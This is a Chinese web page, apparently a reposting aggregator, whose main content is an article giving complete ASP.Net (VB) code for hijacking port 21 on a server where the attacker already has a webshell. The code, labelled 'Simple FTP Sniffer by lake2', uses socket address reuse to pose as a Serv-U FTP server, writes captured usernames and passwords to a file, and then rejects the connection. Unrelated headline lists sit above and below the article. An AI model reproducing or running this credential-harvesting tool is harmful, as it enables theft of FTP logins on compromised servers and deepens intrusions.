• 对中国,美国只剩下高等学校一个优势。中国应与日、俄、韩、澳实行联合办学机制,不足师资,一起把他们从美国挖过来,所正很多是移民过去的 2019-05-16
  • 何小燕.blog的博客—强国博客—人民网 2019-05-16
  • 男子抢劫杀人为“找钱”创业 司机装死逃命 2019-05-11
  • 日照钢铁控股集团有限公司 2019-05-11
  • 回复@不能这样啊:那你不是可以啥事不做天天甩起手耍?你自己不求上进还不准别人有所追求么? 2019-05-07
  • 安徽砀山重瘫女孩好励志 开网店年卖水果40万斤 2019-05-04
  • 21CN.COM 增值电信业务经营许可证 2019-04-26
  • 人民网评:让党的领导体系总揽全局、协调各方 2019-04-22
  • “黔电送粤”配套大型煤矿项目获批 盘江股份控股 2019-04-22
  • 怎样一抹色彩绚烂了2018年盛夏 2019-04-22
  • 2018年2月国家社科基金年度项目、青年项目和西部项目结项情况 2019-04-21
  • 安倍访美又遭“握手杀” 手都被捏皱了 2019-04-14
  • 娱乐--北京频道--人民网 2019-04-14
  • 聚焦两会“部长通道”再启:六位部委负责人谈发展 话民生 2019-04-14
  • “先进镁合金技术与应用”高峰论坛在沪召开 2019-04-11
  • 笑话大全ico
    您当前的位置 :心水论坛33789>黑客安全>脚本攻防> 正文
    ASP.Net劫持FTP端口的代码
    2015-11-22 07:47来源:厦门门户网
    【摘要】
    如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。 下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开
    如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。 下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端 ...
     
     
         如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。
     
        下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端口,就没有用中间人方式而是拿到密码之后直接返回421错误。
     
        当然,Windows2003及之后的系统都不再支持端口复用了。
     
    以下是引用片段:
    <%@ Page Language="VB" Debug="true" %> 
    <%@ import Namespace="System.Threading" %> 
    <%@ import Namespace="System.Text" %> 
    <%@ import Namespace="System.Net" %> 
    <%@ import Namespace="System.Net.Sockets" %> 
    <%@ import Namespace="System.IO" %> 
    <script runat="server"> 
    sub form_load(Src As Object, E As EventArgs) 
            myip.Text=request.ServerVariables("LOCAL_ADDR") 
    end sub 
        Sub BTN_Start_Click(sender As Object, e As EventArgs) 
            Dim error_x as Exception 
             Dim ipAddress As IPAddress = ipAddress.Parse(myIP.Text) 
             Dim localEndPoint As New IPEndPoint(ipAddress, myport.Text) 
             Dim listener As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 
             listener.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1) 
              try 
             listener.Bind(localEndPoint) 
             listener.Listen(100) 
                While Not file.exists(server.mappath("snifferexit.dat")) 
                    If CheckBox1.Checked Then 
                         Dim mywrite As New StreamWriter(server.mappath("snifferexit.dat"), True, Encoding.Default) 
      
     
     
                       mywrite.Close() 
                    End If 
                    Dim mySocket As Socket = listener.Accept() 
                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf ThreadProc), mySocket) 
                End While 
                 listener.Close() 
            Catch error_x 
                listener.Close() 
                 response.write(error_x) 
            End Try 
        End Sub 
     
             Private Shared Sub ThreadProc(ByVal mySocket As Object) 
                 Dim msg As Byte() 
                 Dim bytes(1024) As Byte 
                 Dim i As Integer 
                 Dim num As Integer 
                 Dim xdata As String 
                 Try 
                    mySocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 5000) 
                     msg = Encoding.ASCII.GetBytes("220 Serv-U FTP Server v6.0 for WinSock ready..." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
     
                     mySocket.Receive(bytes, 0, 1024, 0) 
                     xdata = (Encoding.ASCII.GetString(bytes)) 
     
     
     
    If InStr(1, xdata, "user ", 1) > 0 Then 
                         Dim mywrite As New StreamWriter("e:/myweb/myown/a.txt", True, Encoding.Default) 
                         mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                         mywrite.Close() 
     
                         msg = Encoding.ASCII.GetBytes("331 User name okay, need password." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     Else 
                         msg = Encoding.ASCII.GetBytes("530 Not logged In.." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     End If 
                     mySocket.Receive(bytes, 0, 1024, 0) 
                     xdata = (Encoding.ASCII.GetString(bytes)) 
                     If InStr(1, xdata, "pass ", 1) > 0 Then 
                         Dim mywrite As New StreamWriter("e:/myweb/myown/a.txt", True, Encoding.Default) 
                         mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                         mywrite.Close() 
                         msg = Encoding.
    ASCII.GetBytes("421 Too many users - please try again later." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     Else 
                         msg = Encoding.ASCII.GetBytes("530 Not logged in.." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     End If 
     
                 Catch eee As Exception 
                     msg = Encoding.ASCII.GetBytes("421 Maximum session time exceeded - closing." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                     mySocket.Shutdown(SocketShutdown.Both) 
                     mySocket.Close() 
                     Exit Sub 
                 End Try 
                 mySocket.Shutdown(SocketShutdown.Both) 
                 mySocket.Close() 
             End Sub 
     
    </script> 
    <html> 
    <head> 
    </head> 
    <body> 
        <form runat="server"> 
            <p> 
                <asp:Label id="Label1" runat="server">Simple FTP Sniffer by lake2</asp:Label> 
            </p> 
            <p> 
                <asp:Label id="Label2" runat="server" width="60px">IP:</asp:Label> 
    <asp:TextBox id="MyIP" runat="server">220.166.79.218</asp:TextBox> 
                 <asp:Label id="Label3" runat="server">Port</asp:Label> <asp:TextBox id="MyPort" runat="server" Width="40px">21</asp:TextBox> 
                    
                <br /> 
                <asp:CheckBox id="CheckBox1" runat="server" Text="Only sniff one time"></asp:CheckBox> 
            </p> 
            <p> 
                <asp:Label id="Label4" runat="server">Note: If exit , create the file "snifferexit.dat" 
                in current</asp:Label> 
            </p> 
            <p> 
                <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Width="77px" Text="Start"></asp:Button> 
            </p> 
            <!-- Insert content here --> 
        </form> 
    </body> 
    </html>
    标签(Tag):
    官方邮箱:心水论坛33789 www.492127.fun 官方微信:www.492127.fun 官方微博:
     
  • 对中国,美国只剩下高等学校一个优势。中国应与日、俄、韩、澳实行联合办学机制,不足师资,一起把他们从美国挖过来,所正很多是移民过去的 2019-05-16
  • 何小燕.blog的博客—强国博客—人民网 2019-05-16
  • 男子抢劫杀人为“找钱”创业 司机装死逃命 2019-05-11
  • 日照钢铁控股集团有限公司 2019-05-11
  • 回复@不能这样啊:那你不是可以啥事不做天天甩起手耍?你自己不求上进还不准别人有所追求么? 2019-05-07
  • 安徽砀山重瘫女孩好励志 开网店年卖水果40万斤 2019-05-04
  • 21CN.COM 增值电信业务经营许可证 2019-04-26
  • 人民网评:让党的领导体系总揽全局、协调各方 2019-04-22
  • “黔电送粤”配套大型煤矿项目获批 盘江股份控股 2019-04-22
  • 怎样一抹色彩绚烂了2018年盛夏 2019-04-22
  • 2018年2月国家社科基金年度项目、青年项目和西部项目结项情况 2019-04-21
  • 安倍访美又遭“握手杀” 手都被捏皱了 2019-04-14
  • 娱乐--北京频道--人民网 2019-04-14
  • 聚焦两会“部长通道”再启:六位部委负责人谈发展 话民生 2019-04-14
  • “先进镁合金技术与应用”高峰论坛在沪召开 2019-04-11